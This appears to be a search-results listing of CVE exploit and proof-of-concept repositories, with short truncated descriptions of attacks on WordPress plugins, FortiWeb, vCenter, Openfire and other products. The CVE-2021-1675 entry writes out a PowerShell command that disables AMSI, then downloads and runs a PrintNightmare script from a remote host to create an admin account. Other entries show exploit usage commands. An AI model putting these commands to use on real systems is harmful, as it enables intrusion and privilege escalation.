105817 matches found
CVE-2025-68860
WordPress Mobile Builder = 1.4.2 - Broken Authentication CVE-2025-68860 Description The WordPress Mobile Builder plugin version 1.4.2 and below has a Broken Authentication vulnerability that allows an attacker to generate a valid JWT token with the default secret "examplekey" and authenticate as...
CVE-2025-64446
🛡️ CVE-2025-64446 - FortiWeb Critical Authentication Bypass & Path Traversal Critical unauthenticated vulnerability allowing remote attackers to create administrator accounts on FortiWeb devices. 📌 Overview CVE-2025-64446 is a severe relative path traversal vulnerability in the FortiWeb Web...
CVE-2023-32315
CVE-2023-32315 - Ignite Realtime Openfire Path Traversal Vulnerability ⚠️ For educational and authorized security research purposes only Original Exploit Authors Very grateful to the original PoC author phith0n and K3ysTr0K3R Description Openfire is an XMPP server licensed under the Open Source...
CVE-2024-34832
CubeCart - Directory Traversal May Lead To RCE CVE-2024-34832 TL;DR In the admin panel, parameters such as g and node are used to construct the path to include .inc.php files and execute PHP code. A malicious user with the ability to upload .inc.php files anywhere on the server can exploit a path...
CVE-2024-22274
CVE-2024-22274: Authenticated Remote Code Execution in VMware vCenter Server The vCenter Server contains an authenticated remote code execution vulnerability. A malicious actor with administrative privileges on the vCenter appliance shell may exploit this issue to run arbitrary commands on the...
CVE-2025-50364_CSRF_ADD_CATEGORY-phpgurukul-CVE
Project Name & Repo URL: Maid Hiring Management System using PHP and MySQL Vulnerability Type: Client Side Request Forgery Affected Versions: v1.0 💣Vulnerability Description: A Cross-Site Request Forgery CSRF vulnerability exists in the admin panel of PHPGurukul Hiring Management System, allowing...
thingsboard-ssrf-cve-2025-34282
CVE-2025-34282 — ThingsBoard SSRF via SVG Image Upload Overview Server-Side Request Forgery SSRF vulnerability in ThingsBoard IoT Platform versions before 4.2.1. An attacker with Tenant Admin access can upload a crafted SVG file containing an internal URL reference via the Image Upload Gallery...
CVE-2025-31161_exploit
CVE-2025-31161 / CVE-2025-2825 python exploit To process a single URL, use the command: python3 script.py -u http://example.com To process a file containing a list of URLs one per line, use the command: python3 script.py -l urls.txt To specify the number of threads, use the -t flag. The script...
cve-2025-4615
CVE-2025-4615 — Technical Analysis & Proof of Concept Vulnerability: Improper Neutralization of Input in PAN-OS Management Web Interface Vendor Advisory: https://security.paloaltonetworks.com/CVE-2025-4615 CVSS 4.0: 6.9 MEDIUM — Integrity HIGH, Availability HIGH CWE: CWE-83 Improper Neutralizatio...
CVE-2022-21661
CVE-2022-21661 CVE-2022-21661 docker and poc functions.php needs to replace the original functions.php in the image, and mount it directly in docker-compose.yml poc POST /wp-admin/admin-ajax.php HTTP/1.1 Host: your-ip:8080 User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64; rv:132.0 Gecko/201001...
CVE-2023-28121-WordPress-Privilege-Escalation
🔐 CVE-2023-28121 — WordPress Privilege Escalation Practical exploitation of a critical vulnerability in WordPress using the WooCommerce Payments plugin. 📌 Summary CVE-2023-28121 allows creating administrator users without authentication via the REST API. Severity: Critical CVSS 9.8 Impact: Full...
CVE-2025-50286
Grav Admin Direct Install RCE CVE-2025-50286 Metasploit module and lab setup for authenticated Remote Code Execution in the Grav Admin Plugin Direct Install functionality. Overview CVE: CVE-2025-50286 Impact: Authenticated RCE Vector: Admin panel → Direct Install Result: Arbitrary command executi...
CVE-2021-34646
CVE-2021-34646 PoC this vulnerability detail by NVD Versions up to, and including, 5.4.3, of the Booster for WooCommerce WordPress plugin are vulnerable to authentication bypass via the processemailverification function due to a random token generation weakness in the resetandmailactivationlink...
CVE-2026-52782
abraxaslabs.tech · github.com/abraxas · @abraxasnull · CVE-2026-52782 CVE-2026-52782 OpenProject 17.3.2 — OpenProject GmbH OpenProject es un software de gestión de proyectos de código abierto basado en web. Antes de 17.3.3 y 17.4.1, un IDOR a través de la configuración de almacenamiento del...
CVE-2026-8732
CVE-2026-8732 - WordPress WP Google Map Pro Mass Scanner & Auto Admin Creator 📌 Description This tool exploits CVE-2026-8732 , a vulnerability in the WP Google Map Pro plugin for WordPress. The vulnerability allows an unauthenticated attacker to obtain a valid wpmptoken via an AJAX endpoint...
cve-2021-1675
cve-2021-1675 禁用AMSI：（复制到PowerShell） https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/disable-amsi.txt 执行 invoke-script iex New-Object Net.WebClient.DownloadString'https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/Invoke-Nightmare.ps1' 创建管理员账户 Invoke-Nightmare -DriverName...
CVE-2026-16232
CVE-2026-16232 — Bypass de autenticación de SmartConsole de Check Point PoC de bypass de autenticación desde acceso de red no autenticado hasta privilegios completos de administrador. Archivo único, Python 3, solo biblioteca estándar, cero dependencias. Resumen de la vulnerabilidad El servicio de...
CVE-2024-54363-Exploit
CVE-2024-54363-Exploit nssTheme Wp NssUser Register 中存在不正确的权限分配漏洞，可导致权限提升。此漏洞影响 Wp NssUser Register 版本 n/a 至 1.0.0。 描述 WordPress 插件 nssTheme Wp NssUser Register 存在一个不正确的权限分配 问题，导致权限提升 。此漏洞允许攻击者在未经授权的情况下注册一个拥有管理员权限的新用户。受影响版本为 1.0.0 及以下。 漏洞详情 受影响插件 : Wp NssUser Register 受影响版本 : 直至 1.0.0 版本 漏洞类型 :...
Wp2shell-ioc-scanner
=== Escáner IOC wp2shell === Contribuidores: michaelkanda URI del autor: https://designare.at URI del plugin: https://github.com/michael-kanda/Wp2shell-ioc-scanner Etiquetas: seguridad, respuesta-a-incidentes, wordpress, shadow-admin, ioc Requiere al menos: 6.0 Probado hasta: 7.0 Requiere PHP: 7....